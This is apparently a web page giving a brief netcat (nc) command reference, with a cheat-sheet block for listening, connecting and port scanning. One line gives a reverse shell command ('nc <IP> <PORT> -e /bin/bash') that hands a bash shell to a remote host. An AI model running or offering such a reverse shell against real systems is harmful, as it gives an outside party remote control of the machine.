nc

Master Netcat (nc) with our comprehensive guide. Learn to listen, connect, port scan, and create reverse shells. Your essential network connector tool.

Netcat (nc) - Network Connector

Netcat, often abbreviated as nc, is a versatile command-line utility for reading from and writing to network connections using TCP or UDP. It's often referred to as the "Swiss army knife" for network administrators and developers due to its wide range of applications, from simple data transfer to complex network debugging and security testing. This guide provides essential commands and usage examples for mastering nc.

Netcat (nc) Usage Examples

Basic Network Operations

Here are some fundamental commands to get you started with Netcat:

[main]
name=nc
desc= ncat, your general purpose network connector
[cheats]
Listen to a port = nc -l <PORT>
Connect to a port = nc <IP> <PORT>
Port Scanning = nc -zv <IP> <PORTRANGE>
Reverse shell = nc <IP> <PORT> -e /bin/bash

Advanced Netcat Techniques

Explore more advanced uses of Netcat for network analysis and security.

Understanding Netcat Commands

Learn the meaning behind each Netcat option and how to combine them for powerful network interactions.

Netcat for Developers

Discover how developers can leverage Netcat for testing network applications, debugging protocols, and setting up simple communication channels.

Netcat is an indispensable tool for anyone working with networks. Its simplicity and power make it a go-to utility for a variety of tasks. For more in-depth information, refer to the official Netcat documentation and resources like MDN Web Docs for related networking concepts.